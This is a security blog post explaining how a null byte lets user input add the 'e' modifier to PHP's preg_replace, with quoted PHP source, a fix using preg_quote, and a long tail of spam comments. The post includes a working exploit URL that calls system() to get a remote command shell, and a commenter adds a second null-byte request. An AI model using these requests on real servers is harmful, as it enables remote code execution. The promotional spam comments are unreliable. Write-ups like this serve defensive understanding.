Preg_replace naturally has the ability to evaluate it's second argument as PHP code if the "e" modifier is present in the pattern in it's first argument. But preg_replace is very strict regarding the syntax of supplied patterns. Normally there should be no way to escape from in between the "/" delimiters and inject the "e" modifier when the pattern is derived from user input, like in this example.
$pattern = '/omfglol'.$_GET['mypattern'].'/i';
$replacement = $_GET['replacement'];
$subject = 'omglolomglolnostop';
echo preg_replace($pattern,$replacement,$subject);
If you'll try to exploit this by injecting "test/e" into the middle of the pattern "/omfgloltest/e/i". The "/" that is present after "/e" in the pattern is not considered to be a valid modifier and an error will be thrown. "Warning: preg_replace(): Unknown modifier '/'"Lets have a look in PHP's source code. The, as of now, Current stable PHP 5.3.6. This is line 337 to 374 of ext/pcre/php_pcre.c containing the loop responsible for parsing modifiers in a pattern.
/* Parse through the options, setting appropriate flags. Display
a warning if we encounter an unknown modifier. */
while (*pp != 0) {
switch (*pp++) {
/* Perl compatible options */
case 'i': coptions |= PCRE_CASELESS; break;
case 'm': coptions |= PCRE_MULTILINE; break;
case 's': coptions |= PCRE_DOTALL; break;
case 'x': coptions |= PCRE_EXTENDED; break;
/* PCRE specific options */
case 'A': coptions |= PCRE_ANCHORED; break;
case 'D': coptions |= PCRE_DOLLAR_ENDONLY;break;
case 'S': do_study = 1; break;
case 'U': coptions |= PCRE_UNGREEDY; break;
case 'X': coptions |= PCRE_EXTRA; break;
case 'u': coptions |= PCRE_UTF8;
/* In PCRE, by default, \d, \D, \s, \S, \w, and \W recognize only ASCII
characters, even in UTF-8 mode. However, this can be changed by setting
the PCRE_UCP option. */
#ifdef PCRE_UCP
coptions |= PCRE_UCP;
#endif
break;
/* Custom preg options */
case 'e': poptions |= PREG_REPLACE_EVAL; break;
case ' ':
case '\n':
break;
default:
php_error_docref(NULL TSRMLS_CC,E_WARNING, "Unknown modifier '%c'", pp[-1]);
efree(pattern);
return NULL;
}
}
On line 339, the while loop loops until it encounters a null byte. So if "test/e" is followed by a null byte PHP will stop searching for other modifiers beyond that.
To turn the PHP example in the beginning of this post into a remote command shell one would use an url like this: http://www.example.com/pregvuln.php?mypattern=||/e%00&replacement=system($_GET['cmd']);&cmd=echo%20testing123
Note: The double pipes "||" in the pattern "||/e" makes it match anything. The pattern must match something or the code won't execute.
Edit: My initial tests where distorted by the Suhosin patch, which also protects the server from this type of attack.
All PHP versions, as of today, is vulnerable to this attack.
Solution
To defend against this type of attack, just follow best practice. User input should always be escaped using preg_quote before being used in a regexp pattern.This is a secured version of the example in the beginning of this post.
$pattern = '/omfglol'.preg_quote($_GET['mypattern'],'/').'/i';
$replacement = $_GET['replacement'];
$subject = 'omglolomglolnostop';
echo preg_replace($pattern,$replacement,$subject);
Or to defend against this at the server level, install Suhosin.
http://www.php-security.org/2010/05/20/mops-submission-07-our-dynamic-php/index.html
ReplyDelete....
However, even if there is no “e” modifier sometimes attackers still have possibility to evaluate code. It can be achieved by dropping off some part of regexp by putting null-byte into it. Let’s look at the same example, but a little bit modified:
(.*?)$regexp<\/tag>/", '\\1', $var);
?>
Maybe this example looks too naive, but currently aim is to show when null-byte attack could work. Now consider that vulnerable script accepts request like this:
http://www.example.com/index.php?re=<\/tag>/e
@Vladimir
ReplyDeleteThank you. I'll add that link to the post.
Intressant och välskriven blogg! Det vore roligt att läsa vad din rekommendation är till databas-utvecklare generellt. Bör de satsa på prepared statements i hela sin stack? Är det PHP som är problemet? Hur kan vi göra LAMP-stacken säkrare?
ReplyDeletemvh
Kristofer Pettersson
@Kristofer Pettersson
ReplyDeleteHej.
Om man ser det ur databasadministratörens perspektiv så är förmodligen det enda h*n kan göra att påverka situationen att endast tillåta prepared statements.
Det jag egentligen tycker man skall göra är att lära PHP-kodarna det "rätta sättet" att kommunicera med en databas.
Det enklaste kan vara att tillverka en liten funktion som garanterat säkrar en variabel från oönskade injektioner, och sedan kräver att den funktionen alltid använda till alla variabler som på något sätt medverkar i ett SQL-kommando. Och om man har som standard att alltid göra på detta sättet så blir det betydligt enklare att bara läsa igenom koden och finna avvikelser där en injektion kan vara möjlig. Att altid göra på samma sätt har även fördelen att utvecklaren inte behöver tänka på om variabeln kan vara farlig eller ej. Hellre mysql_real_escape_string hundra gånger i onödan är en gång för lite.
Eftersom att du ställde frågan så planerar jag nu en liten blogpost med en sådan funktion som jag brukar rekomendera när jag som konsult kontrollerar andras PHP kod.
Lev Väl
/Mango
Holistic Medicine encompasses the wide array connected with natural AND ALSO visual therapies It will probably bring the body back for you to the balanced state, free associated with disease. these therapies may be used alone or, even further powerfully, together. Kyäni
ReplyDeleteApartments inside Alanya stay fairly cheep, inside spite connected with charges growing significantly. whilst ones market continues to be affected via recent financial events, It has proved to become much further robust in comparison with within a lot of other countries. because the new laws came in The stress allowing foreigners in order to buy land, both require AND ALSO expenses have increased. Prices, particularly along ones coast, usually are rising rapidly, AS WELL AS are needed to be able to progress to help do therefore over the next five to help eight years.It doesn't need to use an estate agent to find AND buy an Apartment throughout Alanya. However, many buyers Pick out to do, thus Just like estate agents cater to the catered Specifications of foreigners AND are aware of all the legal requirements. sooner committing to shopping the Apartment, you have to transaction no matter if You will discover any kind of amazing debts to the property. lägenheter i Alanya
ReplyDeleteNowadays students from the school, college and universities look for Essay Help UK and Essay Helper UK services from the experts who can help them in solving their assignment in a manner that is required in college and universities.
ReplyDeletevé máy bay tết
ReplyDeletegiá vé máy bay đi Mỹ khứ hồi
ve may bay di Phap gia bao nhieu
mua vé máy bay đi hàn quốc giá rẻ
vé máy bay đi nhật giá rẻ 2020
vé máy bay sang anh
trang web vé máy bay giá rẻ
giá vé máy bay đi San Francisco
thời gian bay từ Việt nam sang Los Angeles
combo resort vinpearl nha trang
Nowadays students from the school, college and universities look for My Assignment Help Singapore and MyAssignmentHelp Singapore services from the experts who can help them in solving their assignment in a manner that is required in college and universities.
ReplyDeleteMua vé giá rẻ tại Aivivu, tham khảo
ReplyDeletemua ve may bay di my
vé máy bay từ mỹ về việt nam
giá vé máy bay từ anh về việt nam
máy bay từ pháp về việt nam
Nowadays students from the school, college and universities look for Essay Help UK and Essay Helper UK services from the experts who can help them in solving their assignment in a manner that is required in college and universities. pakistani designer suits online , pakistani designer suits online
ReplyDeleteThis coding is very helpful for developers and especially beginners can improve their knowledge and earn some good amount. Do you want to learn coding? Buy Dissertation Online.
ReplyDeleteI really appreciate your effort and perfection in creating your blog! Good job.make my dissertation
ReplyDeleteThanks for sharing this.,
ReplyDeleteLeanpitch provides online training in Scrum Master, everyone can use it wisely.
Join Leanpitch 2 Days CSM Certification Workshop in different cities.
certified scrum master certification
agile scrum master certification
ReplyDeleteExcellent content ,Thanks for sharing this .,
Leanpitch provides online training in ICP ACC, everyone can use it wisely.
ICP ACC certification
ICP ACC certification online
Certified Agile coach certification
ReplyDeleteExcellent content ,Thanks for sharing this .,
Leanpitch provides online training in ICP ACC, everyone can use it wisely.
Certified Agile coach certification
Agile coach
ReplyDeleteExcellent content ,Thanks for sharing this .,
Leanpitch provides online training in ICP ACC, everyone can use it wisely.
Agile coach certification
ICP ACC certification online
24x7 availability
ReplyDeleteWe understand that students can ask questions at any time of the day. That's why, unlike other platforms, we provide Cheap Assignment help all the time. In addition, a dedicated team of customer support is always available to address student questions and provide immediate solutions.
Cheap Assignment Help
They will be able to learn several things and also will be able to use and improve their skills. If they are working on a tax law assignment, then it is suggested to do the whole work independently and not get assistance from Machine Learning homework Help
ReplyDeleteDangal Games is the best place for you to be entertained and to make some earnings with online real money earning games in India. Are you looking for a fun way to kill time and earn money through games? You can easily earn money playing games on DangalGames! There is a chance that you can play games and earn money in India.
ReplyDeleteBy the way, it would be very interesting if foreign departments use PHP code to send their cyphers. It is not easy for everyone to understand PHP code, and I want your opinion on this. Buy Essay Online
ReplyDeleteThere is no doubt that interaction between learners and instructors yields good outcomes. Online Q&A Services Providers are part and parcel of any academic-related activities.The primary intention of the said exercise is to enhance the understanding of the subject knowledge. Therefore, clients are on the lookout for interactive Q&A services to draw the attention of modern learners. It is the best bait for learners. best ebook conversion services
ReplyDeleteK12 Manual Development Services define objectives for learning for the students of K12 in such an excellent manner. It aims to teach both theoretical and practical knowledge to the students. The online services that we provide are both subjects centred as well as learning-centred. The guides, manuals, lesson plans, latest syllabus, modules with interactive and live sessions provided here are just up to the mark and highly student-friendly. video solution development services
ReplyDeleteProfessional Explainer Videos have taken centerstage due to their wide appeal. It can provide a message to different audience segments belonging to various cultural unfettered by the geographic boundaries. Businesses give a lot of emphasis to reaching the target customers through video to align themselves relevant in the cut-throat competitive world. Therefore, explainer videos servicesare there to satisfy the audience's dreams.
ReplyDeleteDeliver online tutoring
Thanks for sharing this article with us.
ReplyDeletealso, visit here sell old iphones
Thanks for sharing! My friend is researching this topic, so your blog helps him a lot. assignment help ireland
ReplyDelete
ReplyDeleteThanks for your page! Your share information it helped me alot
crankshaft polishing
Thanks for your page! Your share information it helped me alot
ReplyDeletecrankshaft straightening
crankshaft straightening
Your article is well written and simple to understand.You make excellent points.Thank you for sharing amazing blog.Nice.....
ReplyDeleteNull Byte Injection is a security vulnerability that can be exploited in preg_replace() function, allowing attackers to manipulate and execute malicious code in a PHP application. This type of attack can have serious consequences, such as stealing sensitive data or compromising the entire system. It is essential to implement proper input validation and sanitization techniques to prevent Null Byte Injection attacks in your PHP code. If you are struggling with securing your code against such vulnerabilities, it's recommended to seek professional nursing assignment help from experts in the field who can provide you with guidance and support.
ReplyDeleteI read the above article and got some knowledge from your article which is about..... It's actually great and useful data for us. Thanks for sharing it.web development
ReplyDeleteI read the article you linked to above, and I learned a little something from it. For us, the information is genuinely quite good and helpful. We appreciate you sharing it.hire programmers in india
ReplyDeleteMalaysia Translators offers language translation services for businesses and individuals. Our team of professionals language translators has extensive experience in translating documents, websites, and other materials from various languages. We ensure accurate translations that retain the intended meaning of the original text. Our language translators are trained to deliver translations that cater to different industries, including legal, medical, and technical fields. Whether you need translations for personal or business use, Malaysia Translators can provide quality and reliable services.
ReplyDeleteWe've noticed that this article is well-informed, in my opinion. The essay is beneficial to us, and your writing is exceptional. We appreciate you sharing this content.hire coldfusion developers
ReplyDeleteCrafting a well-structured dissertation requires solid research design and methodological choices. Dissertation services excel in offering expert guidance to students, helping them navigate the intricacies of research design, data collection, and analysis. From selecting appropriate research methodologies to refining research questions, write my dissertation provide invaluable insights that enhance the quality and rigor of the dissertations.
ReplyDeleteWhen it comes to refrigeration solutions, the options available today are more diverse and advanced than ever before. From commercial businesses to households, finding the perfect cooling system to meet your specific needs can be an overwhelming task. However, with a little research and understanding of your requirements, you can make an informed decision and ensure optimal refrigeration performance.
ReplyDeleteEverything has its value. Thanks for sharing this informative information with us. GOOD works! Pilgrimage Tour Packages
ReplyDeleteThis blog is about security research, I really like that type of blog. Now it's time to avail same day computer repair in Essex, MD for more information.
ReplyDeleteIt looks like you have put a lots of effort in this article. It seems like you have put a lots of time in this article. Now its time to avail Interior Painting Services in Fort Worth Tx for more information.
ReplyDeleteQuadrobits, a digital marketing corporation, delivers success to corporations thru custom techniques concerning search engine optimization and percent, leveraging information and clear targets. Visit social media marketing for more information.
ReplyDelete